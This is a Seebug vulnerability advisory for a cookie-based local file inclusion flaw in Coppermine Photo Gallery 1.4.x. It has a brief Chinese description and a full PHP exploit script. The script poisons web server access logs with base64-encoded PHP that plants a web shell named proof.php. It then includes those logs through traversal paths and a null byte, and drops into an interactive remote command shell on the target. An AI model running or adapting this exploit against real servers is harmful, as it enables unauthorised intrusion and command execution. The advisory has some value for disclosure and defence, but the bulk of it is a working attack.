Coppermine Photo Gallery 'lang' Cookie参数本地文件包含漏洞

2009-05-22T00:00:00
ID SSV:11393
Type seebug
Reporter Root
Modified 2009-05-22T00:00:00

Description

Bugraq ID: 30480 CNCAN ID:CNCAN-2009052002

Coppermine Photo Gallery是一款基于WEB的图库程序。 Coppermine Photo Gallery不正确过滤用户提交的输入,远程攻击者可以利用漏洞以WEB权限查看系统文件内容。 在用于包含文件钱传递给"GLOBALS[USER][lang]"的参数不正确过滤,可导致提交特殊请求以WEB权限查看系统文件内容。

Coppermine Photo Gallery 1.4.22 Coppermine Photo Gallery 1.4.21 Coppermine Photo Gallery 1.4.20 Coppermine Photo Gallery 1.4.18 厂商解决方案 目前没有解决方案提供: <a href="http://www.chezgreg.net/coppermine/" target="_blank" rel=external nofollow>http://www.chezgreg.net/coppermine/</a>

                                        
                                            
                                                &lt;?php
/*
 
----------------------------------------------------------------------
 Coppermine Photo Gallery &lt;= 1.4.18 LFI / Remote Code Execution
Exploit
 
----------------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://coppermine-gallery.net/
 dork.....: &quot;Powered by Coppermine Photo Gallery&quot;
 [-] vulnerable code to LFI in /include/init.inc.php
 
 263. // Start output buffering
 264. ob_start('cpg_filter_page_html');
 265. 
 266. // Parse cookie stored user profile
 267. user_get_profile(); &lt;==== [1]
 268. 
 269. // Authenticate
 270. $cpg_udb-&gt;authenticate();
 
 [...]
 
 301. // Process language selection if present in URI or in
user profile or try
 302. // autodetection if default charset is utf-8
 303. if (!empty($_GET['lang']))
 304. {
 305.         $USER['lang'] = ereg(&quot;^[a-z0-9_-]*$&quot;,
$_GET['lang']) ? $_GET['lang'] : $CONFIG['lang'];
 306. }
 307. 
 308. if (isset($USER['lang']) &amp;&amp; !strstr($USER['lang'], '/')
&amp;&amp; file_exists('lang/' . $USER['lang'] . '.php'))
 309. {
 310.         $CONFIG['default_lang'] = $CONFIG['lang'];         
// Save default language
 311.         $CONFIG['lang'] = strtr($USER['lang'],
'$/\\:*?&quot;\'&lt;&gt;|`', '____________');
 312. }
 313. elseif ($CONFIG['charset'] == 'utf-8') &lt;====== [2]
 314. {
 315.         include('include/select_lang.inc.php');
 316.         if (file_exists('lang/' . $USER['lang'] .
'.php'))
 317.         {
 318.                 $CONFIG['default_lang'] =
$CONFIG['lang'];      // Save default language
 319.                 $CONFIG['lang'] = $USER['lang'];
 320.         }
 321. }
 322. else
 323. {
 324.         unset($USER['lang']);
 325. }
 326. 
 327. if (isset($CONFIG['default_lang']) &amp;&amp;
($CONFIG['default_lang']==$CONFIG['lang']))
 328. {
 329.                 unset($CONFIG['default_lang']);
 330. }
 331. 
 332. if (!file_exists(&quot;lang/{$CONFIG['lang']}.php&quot;))
 333.   $CONFIG['lang'] = 'english';
 334. 
 335. // We load the chosen language file
 336. require &quot;lang/{$CONFIG['lang']}.php&quot;; &lt;======== [3]
 if $CONFIG['charset'] is set to 'utf-8' [2] (this is the default
configuration), an attacker could be able to
 include an arbitrary local file through the require() at line
336 [3], due to $USER array can be manipulate by
 cookies (see user_get_profile() function [1] defined into
/include/functions.inc.php, near lines 128-146)
 
 [-] Path disclosure in /themes/sample/theme.php
 
 [-] Possible bug fix in /include/functions.inc.php
 
 128. function user_get_profile()
 129. {
 130.         global $CONFIG, $USER;
 131.   
 132.  if
(isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
 133.   $USER =
@unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
 134.   $USER['lang'] = ereg(&quot;^[a-z0-9_-]*$&quot;,
$USER['lang']) ? $USER['lang'] : $CONFIG['lang'];
 135.         }
 
*/
error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);
define(STDIN, fopen(&quot;php://stdin&quot;, &quot;r&quot;));
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print &quot;\n[-] No response from {$host}:80 Trying
again...&quot;;
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function get_info()
{
 global $host, $path, $cookie, $version, $path_disc;
 
 $packet  = &quot;GET {$path} HTTP/1.0\r\n&quot;;
 $packet .= &quot;Host: {$host}\r\n&quot;;
 $packet .= &quot;Connection: close\r\n\r\n&quot;;
 $html  = http_send($host, $packet);
 
 preg_match(&quot;/Set-Cookie: (.*)_data/&quot;, $html, $match);
 $cookie = $match[1];
 
 preg_match(&quot;/&lt;!--Coppermine Photo Gallery (.*) /&quot;, $html,
$match);
 $version = $match[1];
 
 $packet  = &quot;GET {$path}themes/sample/theme.php HTTP/1.0\r\n&quot;;
 $packet .= &quot;Host: {$host}\r\n&quot;;
 $packet .= &quot;Connection: close\r\n\r\n&quot;;
 
 preg_match(&quot;/in &lt;b&gt;(.*)themes/&quot;, http_send($host, $packet),
$match);
 $path_disc = $match[1];
}
function get_logs()
{
 $logs[] = &quot;/apache/logs/access.log&quot;;
 $logs[] = &quot;/apache2/logs/access.log&quot;;
 $logs[] = &quot;/apache/log/access.log&quot;;
 $logs[] = &quot;/apache2/log/access.log&quot;;
 $logs[] = &quot;/logs/access.log&quot;;
 $logs[] = &quot;/var/log/apache/access.log&quot;;
 $logs[] = &quot;/var/log/apache2/access.log&quot;;
 $logs[] = &quot;/var/log/access.log&quot;;
 $logs[] = &quot;/var/www/logs/access.log&quot;;
 $logs[] = &quot;/var/www/log/access.log&quot;;
 $logs[] = &quot;/var/log/httpd/access.log&quot;;
 $logs[] = &quot;/etc/httpd/logs/access.log&quot;;
 $logs[] = &quot;/usr/local/apache/logs/access.log&quot;;
 $logs[] = &quot;/usr/local/apache2/logs/access.log&quot;;
 
 for ($i = 0, $climb = &quot;../..&quot;; $i &lt; 7; $i++)
 {
  foreach ($logs as $_log) $array[] = $climb.$_log;
  $climb .= &quot;/..&quot;;
 }
 
 return $array;
}
function first_time()
{
 global $host, $path;
 
 $packet  = &quot;GET {$path}proof.php HTTP/1.0\r\n&quot;;
 $packet .= &quot;Host: {$host}\r\n&quot;;
 $packet .= &quot;Connection: close\r\n\r\n&quot;;
 return (!preg_match(&quot;/_code_/&quot;, http_send($host, $packet)));
}
function lfi()
{
 global $host, $path, $cookie;
 
 $logs = get_logs();
 foreach ($logs as $_log)
 {
  print &quot;[-] Trying to include {$_log}\n&quot;;
  
  $data = base64_encode(serialize(array(&quot;ID&quot; =&gt;
md5(time()), &quot;am&quot; =&gt; 1, &quot;lang&quot; =&gt; $_log.chr(0))));
  
  $packet  = &quot;GET {$path} HTTP/1.0\r\n&quot;;
  $packet .= &quot;Host: {$host}\r\n&quot;;
  $packet .= &quot;Cookie: {$cookie}_data={$data}\r\n&quot;;
  $packet .= &quot;Connection: close\r\n\r\n&quot;;
  $resp  = http_send($host, $packet);
  
  if (!preg_match(&quot;/f=fopen/&quot;, $resp) &amp;&amp;
preg_match(&quot;/_LfI_/&quot;, $resp)) return true;
  
  sleep(1);
 }
 
 return false;
}
print
&quot;\n+-------------------------------------------------------------------------+&quot;;
print &quot;\n| Coppermine Photo Gallery &lt;= 1.4.18 LFI / Code Execution
Exploit by EgiX |&quot;;
print
&quot;\n+-------------------------------------------------------------------------+\n&quot;;
if ($argc &lt; 3)
{
 print &quot;\nUsage...: php $argv[0] host path\n&quot;;
 print &quot;\nhost....: target server (ip/hostname)&quot;;
 print &quot;\npath....: path to cpg directory\n&quot;;
 die();
}
$host = $argv[1];
$path = $argv[2];
get_info();
print &quot;\n[-] Version..........: {$version}&quot;;
print &quot;\n[-] Cookie name......: {$cookie}&quot;;
print &quot;\n[-] Path disclosure..: {$path_disc}\n\n&quot;;
if (first_time())
{
 $code = base64_decode(
 
&quot;PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKDExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM&quot;
.
 
&quot;TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXRlKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT&quot;
.
 
&quot;A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSkuY2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN&quot;
.
 
&quot;ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp&quot;
.
 
&quot;LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY&quot;
.
 
&quot;2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDEwMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC&quot;
.
 
&quot;kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI&quot;
.
 
&quot;oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo&quot;
.
 
&quot;ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN&quot;
.
 
&quot;DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2hyKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+&quot;);
  
 $packet  = &quot;GET {$path}{$code} HTTP/1.0\r\n&quot;;
 $packet .= &quot;Host: {$host}\r\n&quot;;
 $packet .= &quot;User-Agent: {$code}\r\n&quot;;
 $packet .= &quot;Connection: close\r\n\r\n&quot;;
 http_send($host, $packet);
 if (!lfi()) die(&quot;\n[-] Exploit failed...\n&quot;);
}
while(1)
{
 print &quot;\ncoppermine-shell# &quot;;
 $cmd = trim(fgets(STDIN));
 if ($cmd != &quot;exit&quot;)
 {
  $packet = &quot;GET {$path}proof.php HTTP/1.0\r\n&quot;;
  $packet.= &quot;Host: {$host}\r\n&quot;;
  $packet.= &quot;Cmd: &quot;.base64_encode($cmd).&quot;\r\n&quot;;
  $packet.= &quot;Connection: close\r\n\r\n&quot;;
  list($header, $payload) = explode(&quot;_code_&quot;,
http_send($host, $packet));
  preg_match(&quot;/200 OK/&quot;, $header) ? print &quot;\n{$payload}&quot; :
die(&quot;\n[-] Exploit failed...\n&quot;);
 }
 else break;
}
?&gt;